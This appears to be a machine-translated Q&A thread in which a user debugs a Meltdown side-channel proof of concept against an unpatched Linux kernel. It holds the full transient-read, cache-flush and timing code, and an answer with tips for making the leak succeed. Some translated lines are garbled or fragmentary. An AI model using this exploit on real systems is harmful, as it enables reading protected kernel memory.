鼓励CPU执行Meltdown测试的乱序执行

Question

我试图利用Ubuntu 16.04上的崩溃安全漏洞，英特尔酷睿-i5 CPU上的未修补内核4.8.0-364300M。

首先，我使用内核模块将机密数据存储在内核空间的一个地址：

static __init int initialize_proc(void){
    char* key_val = "abcd";
    printk("Secret data address = %p\n", key_val);
    printk("Value at %p = %s\n", key_val, key_val);
}

printk语句给我秘密数据的地址。

Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd

然后，我尝试访问此位置的数据，并在下一条指令中使用它缓存数组的元素。

// Out of order execution
int meltdown(unsigned long kernel_addr){
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Execute out of order
}

当执行无序执行时，我希望CPU继续并在索引处缓存数组元素（数据*4096 DELTA）。在此之后，执行边界检查并抛出SIGSEGV。我处理SIGSEGV，然后计算对数组元素的访问时间，以确定缓存了哪个元素：

void attackChannel_x86(){
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int min = 10000;
    int temp, i, k;

    for(i=0;i<256;i++){
        time1 = __rdtscp(&temp);      //timestamp before memory access
        temp = array[i*4096 + DELTA];
        time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
        if(time2<=min){
            min = time2;
            k=i;
        }

    }
    printf("array[%d*4096+DELTA]\n", k);
}

由于数据中的值是“a”，我希望结果是数组[97*4096 DELTA]，因为“a”的ASCII值是97。

然而，这不起作用，我得到了随机输出。

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[241*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[78*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[146*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[115*4096+DELTA]

我可能想到的原因有：

1. 缓存数组元素的指令没有无序执行
2. 正在发生无序执行，但正在刷新缓存
3. 我误解了内核模块中内存的映射，我使用的地址不正确

由于系统很容易崩溃，我确信排除了第二种可能性。

因此，我的问题是：为什么乱序执行在这里不起作用？是否有任何选项/标志“鼓励”CPU乱序执行？

我已经尝试过的解决方案：

1. 使用clock\u gettime代替rdtscp对内存进行定时访问

void attackChannel(){
    int i, k, temp;

    uint64_t diff;
    volatile uint8_t *addr;
    double min  = 10000000;
    struct timespec start, end;

    for(i=0;i<256;i++){
        addr = &array[i*4096 + DELTA];
        clock_gettime(CLOCK_MONOTONIC, &start);
        temp = *addr;
        clock_gettime(CLOCK_MONOTONIC, &end);
        diff = end.tv_nsec - start.tv_nsec;
        if(diff<=min){
            min = diff;
            k=i;
        }
    }
    if(min<600)
        printf("Accessed element : array[%d*4096+DELTA]\n", k);
}

void meltdown_busy_loop(unsigned long kernel_addr){
    char kernel_data;
    asm volatile(
        ".rept 1000;"
        "add $0x01, %%eax;"
        ".endr;"

        :
        :
        :"eax"
    );
    kernel_data = *(char*)kernel_addr;
    array[kernel_data*4096 + DELTA] +=10;
}

int meltdown(unsigned long kernel_addr){   
    // Cache the data to improve success
    int fd = open("/proc/my_secret_key", O_RDONLY);
    if(fd<0){
        perror("open");
        return -1;
    }
    int ret = pread(fd, NULL, 0, 0);    //Data is cached
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Out of order
}

对于任何有兴趣设置它的人，这里是指向github repo的链接

为完整起见，我在下面附加了主要函数和错误处理代码：

void flushChannel(){
    int i;
    for(i=0;i<256;i++) array[i*4096 + DELTA] = 1;

    for(i=0;i<256;i++) _mm_clflush(&array[i*4096 + DELTA]);
}

void catch_segv(){
    siglongjmp(jbuf, 1);
}

int main(){
    unsigned long kernel_addr = 0xfa2ef024;
    signal(SIGSEGV, catch_segv);

    if(sigsetjmp(jbuf, 1)==0)
    {
        // meltdown(kernel_addr);
        meltdown_busy_loop(kernel_addr);
    }
    else{
        printf("Memory Access Violation\n");
    }

    attackChannel_x86();
}

Answer 1

我认为数据需要在L1d中才能Meltdown工作，并且尝试仅通过没有权限的TLB/页表条目读取它不会将其带入L1d。

http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/

当出现任何类型的不良结果（页面错误、从非推测性内存类型加载、页面访问位=0）时，所有处理器都不会启动非核心L2请求来获取数据。

除非我遗漏了什么，否则我认为只有当允许读取的内容将数据带入L1d时，数据才容易崩溃。（直接或通过硬件预取。）我认为反复的熔毁攻击不会将RAM中的数据带入L1d。

尝试向模块中添加一个系统调用或其他内容，该模块对机密数据使用READ\u ONCE（）（或手动写入*（volatile int*）

至少使用imul（3c延迟），或者更好地使用xorps%xmm0，%xmm0重复的sqrtpd%xmm0，%xmm0（单uop，Haswell上的16周期延迟）https://agner.org/optimize/.